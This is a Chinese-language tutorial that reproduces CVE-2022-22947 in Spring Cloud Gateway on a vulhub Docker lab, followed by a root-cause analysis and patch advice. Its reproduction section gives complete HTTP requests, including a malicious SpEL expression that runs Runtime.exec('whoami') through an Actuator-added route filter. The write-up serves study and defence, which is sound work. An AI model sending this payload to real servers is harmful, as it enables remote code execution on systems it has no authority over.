由于笔者个人水平有限,行文如有不当,还请各位师傅评论指正,非常感谢
(一)基本介绍
1、微服务架构与Spring Cloud
最开始我们去开发Java项目的时候,所有的代码都在一个工程里面。它会打包成一个框架包,部署在github里面,这个我们就叫做**单体架构。**当我们项目的代码量越来越大,开发成员越来越多的时候,这个时候项目的性能和协同开发的效率都会存在许多的问题,所以对于这样的项目,我们需要把这些项目拆分为不同的服务,包括订单服务、用户服务、商品服务、物流服务......正是因为有了这些服务,引入了网关、注册中心、配置中心......(如图一)
图一
2、Spring Cloud生态
Spring开发团队在SpringBoot的基础上开发了Spring Cloud全家桶,也就是说我们需要使用的SpringBoot的所有组件都有了现成的解决方案,比如Eureka、Ribbon、OpenFeign、Hystrix、 Config、Zuul......这次报出漏洞的组件是Gateway
3、网关作用
- 智能路由
- 负载均衡
- 协议转换
- 权限校验
- 限流熔断
- 黑白名单
- API监控
- 日志审计
4、Spring Cloud Gateway使用
在pom.xml引入依赖即可。
<dependency>
<groupId>org.springframework.cloud</groupId>
<artifactId>spring-cloud-starter-gateway</artifactId>
</dependency>
5、Spring Cloud Gateway概念
5.1 路由(Route)
我作为用户访问到网关的时候,会从后面选择一个服务进行访问,根据你的HTTP的协议里面或者服务与服务进行调用的地址里面,根据你的URI进行匹配。
5.2 断言(Predicate)
相对于URI会更加高级,可以匹配HTTP请求里面的任意内容,比如说你的HTTP的请求头里面包含了什么字段,它的值是什么的时候,就会给你转发到相应的地址;再比如说你请求的参数,不管是GET还是POST,只要我可以匹配得上,就会给你匹配到相应的地址,也是路由的一种方式......
5.3 过滤器(Filter)
它可以修改HTTP请求及响应的内容,当你HTTP请求或者响应满足什么样的内容的时候,它会修改HTTP的内容.
6、Spring Boot Actuator
它是Spring Boot的一个监控的组件,可以对其他Spring Boot的部件进行健康检查、 审计、统计、HTTP追踪......
6.1 使用方法
在pom文件里面引入依赖即可。
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-actuator</artifactId>
</dependency>
</dependencies>
7、Gateway(网关服务)和Actuator(监控组件)
由于Spring Cloud Gateway也是一种微服务的应用,所以说它也可以让Actuator进行监控,添加配置即可:
management.endpoint.gateway.enabled=true
management.endpoints.web.exposure.include=gateway
8、Actuator操作Gateway接口列表
idHTTP MethoddescriptionglobalfiltersGET返回全局Filter列表routefilersGET每个路由的filterroutesGET路由列表routes/{id}GET指定路由信息routes/{id}POST创建路由
refresh
POST刷新路由缓存DELETEPOST删除路由
9、总结
Spring Cloud Gateway是基于Spring Framework和Spring Boot构建的API网关,它旨在为微服务架构提供一种简单、有效、统一的API路由管理方式。 Spring官方博客发布了一篇关于Spring Cloud Gateway的CVE报告,据公告描述,当**启用和暴露Gateway Actuator端点**时,使用Spring Cloud Gateway的应用程序可受到代码注入攻击。攻击者可以发送特制的恶意请求,从而远程执行任意代码。
(二)漏洞复现
git pull //更新vulhub
进入环境/vulhub/spring/CVE-2022-22947
1、启动Spring Cloud Gateway服务
docker-compose up -d
docker-compose ps //查看端口
查看本CentOS的IP
访问该端口
2、添加过滤器
2.1 首先,修改GET /actuator请求,确定actuator端口已经开启
图二
2.2 修改get请求,获取路由信息GET /actuator/gateway/routes/
当前只有路由index,该路有默认跳转到uri:http://example.com:80
图三
2.3 然后,构造一个post请求包,POST /actuator/gateway/routes/hackest 添加一个包含恶意SpEL表达式的路由:
图四
POST /actuator/gateway/routes/hackest HTTP/1.1
Host: yourIp:8080
Cache-Control:max-age=0
Upgrade-Insecurce-Requests:1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: */*
Accept-Language: en
Accept-Encoding: gzip, deflate
Connection: close
Content-Type:application/json
Content-Length: 352
{
"id": "wuyaaq",
"filters": [
{
"name": "AddResponseHeader",
"args": {
"value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}",
"name": "cmd"
}
}
],
"uri": "http://example.com:80",
"order": 0
}
3、刷新过滤器
POST /actuator/gateway/refresh
POST /actuator/gateway/refresh HTTP/1.1
Host: yourIp:8080
Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: keep-alive
Content-Length: 3
Content-Type: application/x-www-form-urlencoded
Origin: null Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: cross-site Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0
a=1
4、访问过滤器ID
记得关闭:docker-compose down
(三)原理分析
根据上面的演示,我们会产生这样的一个问题,为什么添加过滤器(路由)会导致代码执行?我们一步步进行分析:
我们在vulhub里面开启了actuator功能,上面第一步我们也检测了actuator端口是否打开(图二),打开之后我们就可以利用此接口,比如说我们用/actuator/gateway/routes列出路由(图三)里面就有默认的路由器,然后通过/gateway/routes/{id_route_to_create}(图四)来添加一个路由,再通过/actuator/gateway/refresh刷新路由,当路由带有恶意的Filter,里面的spEL)(里面文章有详细介绍)表达式会被执行
分析payload:(hacker的Java学的......)
#{new
String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().
exec(new String[]{"whoami"}).getInputStream()))}
- (new String[]{"whoami"})创建一个字符串,里面有我们想要执行的命令
- (java.lang.Runtime).getRuntime(). exec 在Java代码里面我们如果想执行操作系统的命令,都是利用(java.lang.Runtime).getRuntime().exec( ),getInputStream()得到该执行的结果。
- 使用StreamUtils里面的copyToByteArray()的方法,把这个执行的结果转换为字节数组,
- 最后再new String把它转换为字符串。
在哪里执行:
1、ConfigurationService类
normalizeProperties()对参数(value就是参数)进行处理,它会调用normalize的方法。
2、ShortcutConfigurable类
它会调用getValue()方法
3、getValue()方法
Expression会对spEL表达式进行处理,得到这个表达式,然后从cotext里面拿到值。
(四)漏洞修补
1、升级更新到以下版本:
- Spring Cloud Gateway >= 3.1.1
- Spring Cloud Gateway >= 3.0.7
2、缓解措施:
1.如果不需要Gateway actuator endpoint,可通过 management.endpoint.gateway.enabled: false 禁用它。
版权归原作者 @Camelus 所有, 如有侵权,请联系我们删除。